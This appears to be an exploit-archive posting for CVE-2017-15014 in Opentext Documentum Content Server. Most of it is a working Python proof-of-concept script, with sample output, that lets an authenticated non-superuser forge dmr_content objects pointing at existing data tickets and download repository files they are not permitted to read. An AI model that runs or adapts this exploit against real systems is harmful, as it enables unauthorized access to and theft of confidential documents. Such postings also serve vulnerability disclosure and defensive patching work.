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Opentext Documentum Content Server File Download

Opentext Documentum Content Server File Download
Posted Oct 14, 2017
Authored by Andrey B. Panfilov

Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) contains a design gap that allows authenticated user to download arbitrary content files regardless of the attacker's repository permissions.

tags | exploit, arbitrary
advisories | CVE-2017-15014
MD5 | 77919afb274537f00addfc4378c1136d

Opentext Documentum Content Server File Download

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#!/usr/bin/env python

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to download arbitrary
# content files regardless attacker's repository permissions:
#
# when authenticated user upload content to repository he performs following steps:
# - calls START_PUSH RPC-command
# - uploads file to content server
# - calls END_PUSH_V2 RPC-command, here Content Server returns DATA_TICKET,
# purposed to identify the location of the uploaded file on Content Server filesystem
# - further user creates dmr_content object in repository, which has value of data_ticket equal
# to the value of DATA_TICKET returned at the end of END_PUSH_V2 call
#
# As the result of such design any authenticated user may create his own dmr_content object,
# pointing to already existing content of Content Server filesystem
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15014.py
# usage:
# CVE-2017-15014.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15014.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Trying to find any object with content...
# Querying "inaccessible" dmr_content objects...
# Downloaded 3959/3959 bytes of object 06024be980000133
# Downloaded 11280/11280 bytes of object 06024be980000135
# Downloaded 10004/10004 bytes of object 06024be980000138
# Downloaded 23692/23692 bytes of object 06024be98000017a
# Downloaded 19541/19541 bytes of object 06024be980000180
# Downloaded 1096/1096 bytes of object 06024be980000172
# Downloaded 11776/11776 bytes of object 06024be98000011f
# Downloaded 50176/50176 bytes of object 06024be980000125
# Downloaded 16384/16384 bytes of object 06024be98000012f
# Downloaded 985/985 bytes of object 06024be9800001f5
# Downloaded 191/191 bytes of object 06024be9800001fe
# Downloaded 213/213 bytes of object 06024be980000200
#



import socket
import sys

from dctmpy import NULL_ID

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
print "usage:\n%s host port user password" % sys.argv[0]


def main():
if len(sys.argv) != 5:
usage()
exit(1)

(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
print "Querying \"inaccessible\" dmr_content objects..."
for e in session.query(
"SELECT * FROM dmr_content "
"WHERE ANY parent_id IS NOT NULLID "
"AND ANY parent_id NOT IN "
"(SELECT r_object_id FROM dm_sysobject)"
):
handle = 0
try:
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", e["storage_id"])
obj.set_id("format", e["format"])
obj.set_int("data_ticket", e["data_ticket"])
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
print "Failed"
exit(1)

handle = session.make_puller(
NULL_ID, obj["storage_id"], content_id,
obj["format"], obj["data_ticket"]
)
if handle == 0:
raise RuntimeError("Unable make puller")
size = 0
for chunk in session.download(handle):
size += len(chunk)

print "Downloaded %d/%d bytes of object %s" % \
(size, e['full_content_size'], e['r_object_id'])
finally:
if handle > 0:
try:
session.kill_puller(handle)
except:
pass


def create_session(host, port, user, pwd):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)


def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False


if __name__ == '__main__':
main()

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